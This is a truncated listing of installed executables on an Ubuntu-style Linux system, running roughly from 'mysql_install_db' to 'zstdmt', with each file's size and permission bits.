mysql_install_db File 22.46 KB 0755
mysql_plugin File 3.55 MB 0755
mysql_secure_installation File 13.49 KB 0755
mysql_setpermission File 17.56 KB 0755
mysql_tzinfo_to_sql File 3.55 MB 0755
mysql_upgrade File 3.98 MB 0755
mysql_waitpid File 3.53 MB 0755
mysqlaccess File 109.31 KB 0755
mysqladmin File 3.86 MB 0755
mysqlanalyze File 3.86 MB 0755
mysqlbinlog File 4.11 MB 0755
mysqlcheck File 3.86 MB 0755
mysqld_multi File 26.7 KB 0755
mysqld_safe File 30.42 KB 0755
mysqld_safe_helper File 3.51 MB 0755
mysqldump File 3.94 MB 0755
mysqldumpslow File 8.05 KB 0755
mysqlhotcopy File 34.15 KB 0755
mysqlimport File 3.85 MB 0755
mysqloptimize File 3.86 MB 0755
mysqlrepair File 3.86 MB 0755
mysqlreport File 48.07 KB 0755
mysqlshow File 3.84 MB 0755
mysqlslap File 3.86 MB 0755
mytop File 71.95 KB 0755
namei File 22.38 KB 0755
nano File 276.52 KB 0755
nawk File 688.46 KB 0755
nc File 38.63 KB 0755
nc.openbsd File 38.63 KB 0755
neqn File 913 B 0755
netcat File 38.63 KB 0755
networkctl File 102.38 KB 0755
networkd-dispatcher File 19.71 KB 0755
newgrp File 39.55 KB 4755
ngettext File 34.38 KB 0755
nice File 34.51 KB 0755
nisdomainname File 22.23 KB 0755
nl File 98.57 KB 0755
nm File 43.63 KB 0755
node File 117.69 MB 0755
nodejs File 117.69 MB 0755
nohup File 34.41 KB 0755
npm File 54 B 0755
nproc File 34.51 KB 0755
npx File 2.85 KB 0755
nroff File 3.22 KB 0755
nsenter File 26.6 KB 0755
nslookup File 118.82 KB 0755
nstat File 30.38 KB 0755
nsupdate File 74.55 KB 0755
ntfs-3g File 159.01 KB 0755
ntfs-3g.probe File 14.38 KB 0755
ntfscat File 26.38 KB 0755
ntfscluster File 38.38 KB 0755
ntfscmp File 30.38 KB 0755
ntfsdecrypt File 42.38 KB 0755
ntfsfallocate File 26.38 KB 0755
ntfsfix File 34.38 KB 0755
ntfsinfo File 54.38 KB 0755
ntfsls File 27.45 KB 0755
ntfsmove File 30.38 KB 0755
ntfsrecover File 106.38 KB 0755
ntfssecaudit File 78.86 KB 0755
ntfstruncate File 26.3 KB 0755
ntfsusermap File 18.3 KB 0755
ntfswipe File 42.91 KB 0755
numfmt File 54.54 KB 0755
nvidia-detector File 270 B 0755
objcopy File 162.54 KB 0755
objdump File 365.13 KB 0755
od File 66.51 KB 0755
oem-getlogs File 8.59 KB 0755
on_ac_power File 3.7 KB 0755
open File 18.06 KB 0755
openssl File 977.8 KB 0755
openvt File 22.59 KB 0755
os-prober File 4.44 KB 0755
pager File 194.38 KB 0755
partx File 58.38 KB 0755
passwd File 58.57 KB 4755
paste File 34.41 KB 0755
pastebinit File 16.12 KB 0755
patch File 186.52 KB 0755
pathchk File 34.51 KB 0755
pbget File 2.51 KB 0755
pbput File 2.51 KB 0755
pbputs File 2.51 KB 0755
pdb3 File 61.74 KB 0755
pdb3.10 File 61.74 KB 0755
peekfd File 14.3 KB 0755
perl File 3.63 MB 0755
perl5.34-x86_64-linux-gnu File 14.3 KB 0755
perl5.34.0 File 3.63 MB 0755
perlbug File 44.12 KB 0755
perldoc File 125 B 0755
perlivp File 10.61 KB 0755
perlthanks File 44.12 KB 0755
perror File 3.73 MB 0755
pg_archivecleanup File 9.21 KB 0755
pg_backupcluster File 17.02 KB 0755
pg_basebackup File 9.21 KB 0755
pg_buildext File 14.71 KB 0755
pg_config File 1.2 KB 0755
pg_conftool File 6.12 KB 0755
pg_createcluster File 34.53 KB 0755
pg_ctlcluster File 22.76 KB 0755
pg_dropcluster File 8.14 KB 0755
pg_dump File 9.21 KB 0755
pg_dumpall File 9.21 KB 0755
pg_isready File 9.21 KB 0755
pg_lsclusters File 5.21 KB 0755
pg_receivewal File 9.21 KB 0755
pg_receivexlog File 9.21 KB 0755
pg_recvlogical File 9.21 KB 0755
pg_renamecluster File 5.78 KB 0755
pg_restore File 9.21 KB 0755
pg_restorecluster File 13.46 KB 0755
pg_upgradecluster File 33.58 KB 0755
pg_virtualenv File 9.05 KB 0755
pgbench File 9.21 KB 0755
pgrep File 30.24 KB 0755
phar File 14.88 KB 0755
phar.phar File 14.88 KB 0755
phar.phar8.3 File 14.88 KB 0755
phar.phar8.4 File 14.88 KB 0755
phar8.3 File 14.88 KB 0755
phar8.3.phar File 14.88 KB 0755
phar8.4 File 14.88 KB 0755
phar8.4.phar File 14.88 KB 0755
php File 5.75 MB 0755
php8.3 File 5.53 MB 0755
php8.4 File 5.75 MB 0755
pic File 200.04 KB 0755
pico File 276.52 KB 0755
piconv File 8.16 KB 0755
pidof File 30.38 KB 0755
pidstat File 50.45 KB 0755
pidwait File 30.24 KB 0755
pigz File 134.36 KB 0755
pinentry File 58.65 KB 0755
pinentry-curses File 58.65 KB 0755
ping File 74.88 KB 0755
ping4 File 74.88 KB 0755
ping6 File 74.88 KB 0755
pinky File 34.41 KB 0755
pkaction File 18.3 KB 0755
pkcheck File 22.3 KB 0755
pkcon File 58.3 KB 0755
pkexec File 30.15 KB 4755
pkill File 30.24 KB 0755
pkmon File 22.3 KB 0755
pkttyagent File 18.3 KB 0755
pl2pm File 4.43 KB 0755
pldd File 22.37 KB 0755
plymouth File 46.3 KB 0755
pmap File 34.24 KB 0755
pod2html File 4.04 KB 0755
pod2man File 14.68 KB 0755
pod2text File 10.55 KB 0755
pod2usage File 4.01 KB 0755
podchecker File 3.57 KB 0755
pollinate File 8.54 KB 0755
pr File 66.58 KB 0755
preconv File 54.48 KB 0755
print File 18.06 KB 0755
printenv File 30.38 KB 0755
printf File 50.44 KB 0755
prlimit File 26.89 KB 0755
pro File 1003 B 0755
procan File 30.4 KB 0755
prove File 13.34 KB 0755
prtstat File 22.38 KB 0755
ps File 138.45 KB 0755
psfaddtable File 26.23 KB 0755
psfgettable File 26.23 KB 0755
psfstriptable File 26.23 KB 0755
psfxtable File 26.23 KB 0755
pslog File 14.3 KB 0755
psql File 9.21 KB 0755
pstree File 35.32 KB 0755
pstree.x11 File 35.32 KB 0755
ptar File 3.48 KB 0755
ptardiff File 2.58 KB 0755
ptargrep File 4.29 KB 0755
ptx File 126.55 KB 0755
purge-old-kernels File 1.12 KB 0755
pwd File 34.51 KB 0755
pwdx File 14.23 KB 0755
py3clean File 7.63 KB 0755
py3compile File 12.88 KB 0755
py3versions File 11.63 KB 0755
pybabel File 953 B 0755
pybabel-python3 File 953 B 0755
pydoc3 File 79 B 0755
pydoc3.10 File 79 B 0755
pygettext3 File 23.67 KB 0755
pygettext3.10 File 23.67 KB 0755
pyhtmlizer3 File 968 B 0755
pyserial-miniterm File 975 B 0755
pyserial-ports File 969 B 0755
python File 5.66 MB 0755
python3 File 5.66 MB 0755
python3.10 File 5.66 MB 0755
pzstd File 702.47 KB 0755
quirks-handler File 2.4 KB 0755
ranlib File 54.48 KB 0755
rbash File 1.33 MB 0755
rcp File 130.59 KB 0755
rdma File 98.52 KB 0755
readelf File 758.44 KB 0755
readlink File 38.41 KB 0755
realpath File 38.41 KB 0755
red File 89 B 0755
redis-benchmark File 730.66 KB 0755
redis-check-aof File 1.41 MB 0755
redis-check-rdb File 1.41 MB 0755
redis-cli File 354.13 KB 0755
redis-server File 1.41 MB 0755
reindexdb File 9.21 KB 0755
renice File 14.38 KB 0755
replace File 3.51 MB 0755
rescan-scsi-bus.sh File 38.05 KB 0755
reset File 26.31 KB 0755
resizecons File 26.32 KB 0755
resizepart File 22.38 KB 0755
resolve_stack_dump File 3.54 MB 0755
resolvectl File 130.52 KB 0755
resolveip File 3.54 MB 0755
rev File 14.38 KB 0755
rgrep File 30 B 0755
rlogin File 827.04 KB 0755
rm File 58.51 KB 0755
rmdir File 42.41 KB 0755
rmiregistry File 14.15 KB 0755
rnano File 276.52 KB 0755
rootlesskit File 11.64 MB 0755
rootlesskit-docker-proxy File 7.48 MB 0755
rotatelogs File 26.38 KB 0755
routef File 208 B 0755
routel File 1.62 KB 0755
rrsync File 12.34 KB 0755
rsh File 827.04 KB 0755
rsync File 506.13 KB 0755
rsync-ssl File 5.02 KB 0755
rtstat File 22.66 KB 0755
run-mailcap File 18.06 KB 0755
run-one File 3.51 KB 0755
run-one-constantly File 3.51 KB 0755
run-one-until-failure File 3.51 KB 0755
run-one-until-success File 3.51 KB 0755
run-parts File 26.54 KB 0755
run-this-one File 3.51 KB 0755
runc File 9.33 MB 0755
runcon File 34.51 KB 0755
rview File 3.61 MB 0755
rvim File 3.61 MB 0755
sadf File 390.24 KB 0755
sar File 133.45 KB 0755
sar.sysstat File 133.45 KB 0755
savelog File 10.24 KB 0755
sbattach File 26.54 KB 0755
sbkeysync File 34.74 KB 0755
sbsiglist File 14.6 KB 0755
sbsign File 34.7 KB 0755
sbvarsign File 22.73 KB 0755
sbverify File 34.61 KB 0755
scp File 130.59 KB 0755
screen File 466.24 KB 0755
screendump File 14.15 KB 0755
script File 50.38 KB 0755
scriptlive File 42.38 KB 0755
scriptreplay File 34.38 KB 0755
scsi_logging_level File 8.38 KB 0755
scsi_mandat File 3.52 KB 0755
scsi_readcap File 1.3 KB 0755
scsi_ready File 1.09 KB 0755
scsi_satl File 3.74 KB 0755
scsi_start File 1.25 KB 0755
scsi_stop File 1.44 KB 0755
scsi_temperature File 936 B 0755
sdiff File 46.39 KB 0755
sed File 110.57 KB 0755
see File 18.06 KB 0755
select-editor File 2.39 KB 0755
sensible-browser File 1.26 KB 0755
sensible-editor File 1.24 KB 0755
sensible-pager File 565 B 0755
seq File 46.51 KB 0755
session-migration File 22.15 KB 0755
setarch File 26.65 KB 0755
setfont File 50.32 KB 0755
setkeycodes File 14.23 KB 0755
setleds File 18.21 KB 0755
setlogcons File 14.23 KB 0755
setmetamode File 14.26 KB 0755
setpci File 30.38 KB 0755
setpriv File 38.38 KB 0755
setsid File 14.38 KB 0755
setterm File 34.38 KB 0755
setupcon File 38.31 KB 0755
sftp File 142.66 KB 0755
sg File 39.55 KB 4755
sg_bg_ctl File 14.51 KB 0755
sg_compare_and_write File 26.91 KB 0755
sg_copy_results File 23.3 KB 0755
sg_dd File 54.33 KB 0755
sg_decode_sense File 14.76 KB 0755
sg_emc_trespass File 14.3 KB 0755
sg_format File 39.35 KB 0755
sg_get_config File 35.39 KB 0755
sg_get_elem_status File 26.79 KB 0755
sg_get_lba_status File 22.95 KB 0755
sg_ident File 14.6 KB 0755
sg_inq File 119.61 KB 0755
sg_logs File 150.93 KB 0755
sg_luns File 22.79 KB 0755
sg_map File 18.3 KB 0755
sg_map26 File 26.7 KB 0755
sg_modes File 46.08 KB 0755
sg_opcodes File 35.01 KB 0755
sg_persist File 36.08 KB 0755
sg_prevent File 14.51 KB 0755
sg_raw File 26.91 KB 0755
sg_rbuf File 22.73 KB 0755
sg_rdac File 14.3 KB 0755
sg_read File 26.31 KB 0755
sg_read_attr File 36.65 KB 0755
sg_read_block_limits File 14.54 KB 0755
sg_read_buffer File 27.56 KB 0755
sg_read_long File 14.7 KB 0755
sg_readcap File 22.79 KB 0755
sg_reassign File 14.66 KB 0755
sg_referrals File 14.66 KB 0755
sg_rep_pip File 14.57 KB 0755
sg_rep_zones File 26.8 KB 0755
sg_requests File 22.76 KB 0755
sg_reset File 14.66 KB 0755
sg_reset_wp File 14.6 KB 0755
sg_rmsn File 14.51 KB 0755
sg_rtpg File 14.6 KB 0755
sg_safte File 22.7 KB 0755
sg_sanitize File 27.01 KB 0755
sg_sat_identify File 18.73 KB 0755
sg_sat_phy_event File 19.01 KB 0755
sg_sat_read_gplog File 18.73 KB 0755
sg_sat_set_features File 18.7 KB 0755
sg_scan File 18.3 KB 0755
sg_seek File 18.88 KB 0755
sg_senddiag File 27.2 KB 0755
sg_ses File 119.97 KB 0755
sg_ses_microcode File 27.36 KB 0755
sg_start File 18.85 KB 0755
sg_stpg File 22.73 KB 0755
sg_stream_ctl File 18.7 KB 0755
sg_sync File 14.66 KB 0755
sg_test_rwbuf File 18.6 KB 0755
sg_timestamp File 18.83 KB 0755
sg_turs File 26.7 KB 0755
sg_unmap File 22.76 KB 0755
sg_verify File 18.91 KB 0755
sg_vpd File 114.42 KB 0755
sg_wr_mode File 22.73 KB 0755
sg_write_buffer File 27.23 KB 0755
sg_write_long File 14.76 KB 0755
sg_write_same File 26.95 KB 0755
sg_write_verify File 26.79 KB 0755
sg_write_x File 55.6 KB 0755
sg_xcopy File 42.32 KB 0755
sg_zone File 14.86 KB 0755
sginfo File 72.01 KB 0755
sgm_dd File 38.31 KB 0755
sgp_dd File 46.31 KB 0755
sh File 122.74 KB 0755
sha1sum File 42.41 KB 0755
sha224sum File 50.41 KB 0755
sha256sum File 50.41 KB 0755
sha384sum File 58.41 KB 0755
sha512sum File 58.41 KB 0755
shasum File 9.75 KB 0755
showconsolefont File 18.23 KB 0755
showkey File 18.23 KB 0755
shred File 50.51 KB 0755
shuf File 46.51 KB 0755
size File 30.45 KB 0755
skill File 30.23 KB 0755
slabtop File 22.23 KB 0755
sleep File 34.51 KB 0755
slirp4netns File 50.77 KB 0755
slogin File 827.04 KB 0755
snap File 19.8 MB 0755
snapctl File 7.02 MB 0755
snapfuse File 38.23 KB 0755
snice File 30.23 KB 0755
socat File 383.62 KB 0755
soelim File 30.48 KB 0755
sort File 98.8 KB 0755
sos File 612 B 0755
sos-collector File 1.04 KB 0755
sosreport File 1.03 KB 0755
splain File 18.96 KB 0755
split File 50.97 KB 0755
splitfont File 14.15 KB 0755
sqfscat File 131.9 KB 0755
sqfstar File 254.68 KB 0755
ss File 125.07 KB 0755
ssh File 827.04 KB 0755
ssh-add File 166.42 KB 0755
ssh-agent File 286.43 KB 2755
ssh-argv0 File 1.42 KB 0755
ssh-copy-id File 12.38 KB 0755
ssh-import-id File 985 B 0755
ssh-import-id-gh File 785 B 0755
ssh-import-id-lp File 785 B 0755
ssh-keygen File 446.44 KB 0755
ssh-keyscan File 190.44 KB 0755
stat File 78.52 KB 0755
static-sh File 2.09 MB 0755
stdbuf File 42.51 KB 0755
strace File 1.88 MB 0755
strace-log-merge File 1.78 KB 0755
streamzip File 7.75 KB 0755
strings File 30.61 KB 0755
strip File 162.57 KB 0755
stty File 74.51 KB 0755
su File 54.38 KB 4755
sudo File 226.97 KB 4755
sudoedit File 226.97 KB 4755
sudoreplay File 87.64 KB 0755
sum File 34.41 KB 0755
sync File 34.41 KB 0755
systemctl File 1.06 MB 0755
systemd File 1.76 MB 0755
systemd-analyze File 1.73 MB 0755
systemd-ask-password File 18.48 KB 0755
systemd-cat File 18.38 KB 0755
systemd-cgls File 22.48 KB 0755
systemd-cgtop File 38.39 KB 0755
systemd-cryptenroll File 50.53 KB 0755
systemd-delta File 26.37 KB 0755
systemd-detect-virt File 18.37 KB 0755
systemd-escape File 22.37 KB 0755
systemd-hwdb File 118.66 KB 0755
systemd-id128 File 26.37 KB 0755
systemd-inhibit File 22.39 KB 0755
systemd-machine-id-setup File 18.48 KB 0755
systemd-mount File 50.59 KB 0755
systemd-notify File 22.38 KB 0755
systemd-path File 18.37 KB 0755
systemd-run File 62.57 KB 0755
systemd-socket-activate File 26.37 KB 0755
systemd-stdio-bridge File 22.38 KB 0755
systemd-sysext File 46.49 KB 0755
systemd-sysusers File 62.68 KB 0755
systemd-tmpfiles File 98.57 KB 0755
systemd-tty-ask-password-agent File 34.37 KB 0755
systemd-umount File 50.59 KB 0755
tabs File 18.3 KB 0755
tac File 98.41 KB 0755
tail File 66.52 KB 0755
tapestat File 26.44 KB 0755
tar File 505.81 KB 0755
taskset File 22.38 KB 0755
tbl File 126.48 KB 0755
tcpdump File 1.27 MB 0755
tee File 34.51 KB 0755
telnet File 107.56 KB 0755
telnet.netkit File 107.56 KB 0755
tempfile File 14.02 KB 0755
test File 42.44 KB 0755
tic File 86.41 KB 0755
time File 26.52 KB 0755
timedatectl File 46.37 KB 0755
timeout File 38.95 KB 0755
tkconch3 File 962 B 0755
tload File 18.24 KB 0755
tmux File 948.55 KB 0755
tnftp File 178.9 KB 0755
toe File 22.3 KB 0755
top File 130.06 KB 0755
touch File 90.51 KB 0755
tput File 26.34 KB 0755
tr File 46.51 KB 0755
tracepath File 18.15 KB 0755
trial3 File 958 B 0755
troff File 718.61 KB 0755
true File 26.3 KB 0755
truncate File 34.51 KB 0755
tset File 26.31 KB 0755
tsort File 46.51 KB 0755
tty File 30.51 KB 0755
twist3 File 958 B 0755
twistd3 File 960 B 0755
tzselect File 15.02 KB 0755
ua File 1003 B 0755
ubuntu-advantage File 1003 B 0755
ubuntu-bug File 2.51 KB 0755
ubuntu-distro-info File 22.89 KB 0755
ubuntu-drivers File 18.19 KB 0755
ubuntu-security-status File 22.25 KB 0755
ucf File 40.9 KB 0755
ucfq File 18.91 KB 0755
ucfr File 10.47 KB 0755
uclampset File 26.38 KB 0755
udevadm File 1.08 MB 0755
udisksctl File 58.38 KB 0755
ul File 22.38 KB 0755
umount File 34.38 KB 4755
uname File 34.51 KB 0755
unattended-upgrade File 97.21 KB 0755
unattended-upgrades File 97.21 KB 0755
uncompress File 2.29 KB 0755
unexpand File 34.53 KB 0755
unicode_start File 2.7 KB 0755
unicode_stop File 530 B 0755
uniq File 42.51 KB 0755
unlink File 30.51 KB 0755
unlzma File 82.52 KB 0755
unmkinitramfs File 3.69 KB 0755
unpigz File 134.36 KB 0755
unshare File 30.6 KB 0755
unsquashfs File 131.9 KB 0755
unxz File 82.52 KB 0755
unzip File 170.42 KB 0755
unzipsfx File 78.42 KB 0755
unzstd File 854.59 KB 0755
update-alternatives File 58.24 KB 0755
update-mime-database File 58.23 KB 0755
uptime File 14.23 KB 0755
usb-devices File 4.33 KB 0755
usbhid-dump File 30.38 KB 0755
usbreset File 14.3 KB 0755
users File 34.51 KB 0755
utmpdump File 22.38 KB 0755
uuidgen File 18.38 KB 0755
uuidparse File 22.38 KB 0755
vacuumdb File 9.21 KB 0755
vacuumlo File 9.21 KB 0755
validate-json File 6.66 KB 0755
vcs-run File 6.75 KB 0755
vdir File 134.98 KB 0755
vi File 3.61 MB 0755
view File 3.61 MB 0755
viewres File 31.23 KB 0755
vigpg File 2.58 KB 0755
vim File 3.61 MB 0755
vim.basic File 3.61 MB 0755
vim.tiny File 1.45 MB 0755
vimdiff File 3.61 MB 0755
vimtutor File 2.1 KB 0755
vm-support File 9.83 KB 0755
vmhgfs-fuse File 46.73 KB 0755
vmstat File 38.24 KB 0755
vmtoolsd File 74.56 KB 0755
vmware-alias-import File 42.52 KB 0755
vmware-checkvm File 14.38 KB 0755
vmware-hgfsclient File 14.38 KB 0755
vmware-namespace-cmd File 22.3 KB 0755
vmware-rpctool File 18.3 KB 0755
vmware-toolbox-cmd File 58.59 KB 0755
vmware-vgauth-cmd File 18.3 KB 0755
vmware-vmblock-fuse File 18.78 KB 0755
vmware-xferlogs File 32.33 KB 0755
w File 22.23 KB 0755
wall File 22.38 KB 0755
watch File 26.6 KB 0755
watchgnupg File 18.3 KB 0755
wc File 42.42 KB 0755
wdctl File 30.4 KB 0755
wget File 459.02 KB 0755
whatis File 47.28 KB 0755
whereis File 30.84 KB 0755
which File 946 B 0755
which.debianutils File 946 B 0755
whiptail File 30.16 KB 0755
who File 50.52 KB 0755
whoami File 30.51 KB 0755
wifi-status File 2.06 KB 0755
write File 22.38 KB 0755
write.ul File 22.38 KB 0755
wsrep_sst_backup File 2.39 KB 0755
wsrep_sst_common File 66.86 KB 0755
wsrep_sst_mariabackup File 49.47 KB 0755
wsrep_sst_mysqldump File 8.11 KB 0755
wsrep_sst_rsync File 29.72 KB 0755
wsrep_sst_rsync_wan File 29.72 KB 0755
x86_64 File 26.65 KB 0755
x86_64-linux-gnu-addr2line File 26.7 KB 0755
x86_64-linux-gnu-ar File 54.48 KB 0755
x86_64-linux-gnu-as File 456.4 KB 0755
x86_64-linux-gnu-c++filt File 22.27 KB 0755
x86_64-linux-gnu-dwp File 1.82 MB 0755
x86_64-linux-gnu-elfedit File 34.72 KB 0755
x86_64-linux-gnu-gold File 3.04 MB 0755
x86_64-linux-gnu-gprof File 111.79 KB 0755
x86_64-linux-gnu-ld File 1.66 MB 0755
x86_64-linux-gnu-ld.bfd File 1.66 MB 0755
x86_64-linux-gnu-ld.gold File 3.04 MB 0755
x86_64-linux-gnu-nm File 43.63 KB 0755
x86_64-linux-gnu-objcopy File 162.54 KB 0755
x86_64-linux-gnu-objdump File 365.13 KB 0755
x86_64-linux-gnu-ranlib File 54.48 KB 0755
x86_64-linux-gnu-readelf File 758.44 KB 0755
x86_64-linux-gnu-size File 30.45 KB 0755
x86_64-linux-gnu-strings File 30.61 KB 0755
x86_64-linux-gnu-strip File 162.57 KB 0755
xargs File 62.41 KB 0755
xauth File 54.96 KB 0755
xdg-user-dir File 234 B 0755
xdg-user-dirs-update File 26.23 KB 0755
xdpyinfo File 39.05 KB 0755
xdriinfo File 14.3 KB 0755
xev File 34.63 KB 0755
xfd File 40.01 KB 0755
xfontsel File 43.85 KB 0755
xkill File 14.3 KB 0755
xlsatoms File 14.3 KB 0755
xlsclients File 18.31 KB 0755
xlsfonts File 26.4 KB 0755
xmessage File 23.12 KB 0755
xprop File 48.61 KB 0755
xsubpp File 5.05 KB 0755
xvinfo File 18.3 KB 0755
xwininfo File 50.38 KB 0755
xxd File 18.28 KB 0755
xz File 82.52 KB 0755
xzcat File 82.52 KB 0755
xzcmp File 6.86 KB 0755
xzdiff File 6.86 KB 0755
xzegrep File 5.87 KB 0755
xzfgrep File 5.87 KB 0755
xzgrep File 5.87 KB 0755
xzless File 1.76 KB 0755
xzmore File 2.11 KB 0755
yarn File 1 KB 0755
yarnpkg File 1 KB 0755
yes File 30.38 KB 0755
ypdomainname File 22.23 KB 0755
zcat File 1.94 KB 0755
zcmp File 1.64 KB 0755
zdiff File 5.76 KB 0755
zdump File 26.21 KB 0755
zegrep File 29 B 0755
zfgrep File 29 B 0755
zforce File 2.03 KB 0755
zgrep File 7.91 KB 0755
zipdetails File 58.66 KB 0755
zipgrep File 2.89 KB 0755
zipinfo File 170.42 KB 0755
zless File 2.15 KB 0755
zmore File 1.8 KB 0755
znew File 4.47 KB 0755
zstd File 854.59 KB 0755
zstdcat File 854.59 KB 0755
zstdgrep File 3.78 KB 0755
zstdless File 30 B 0755
zstdmt File 854.59 KB 0755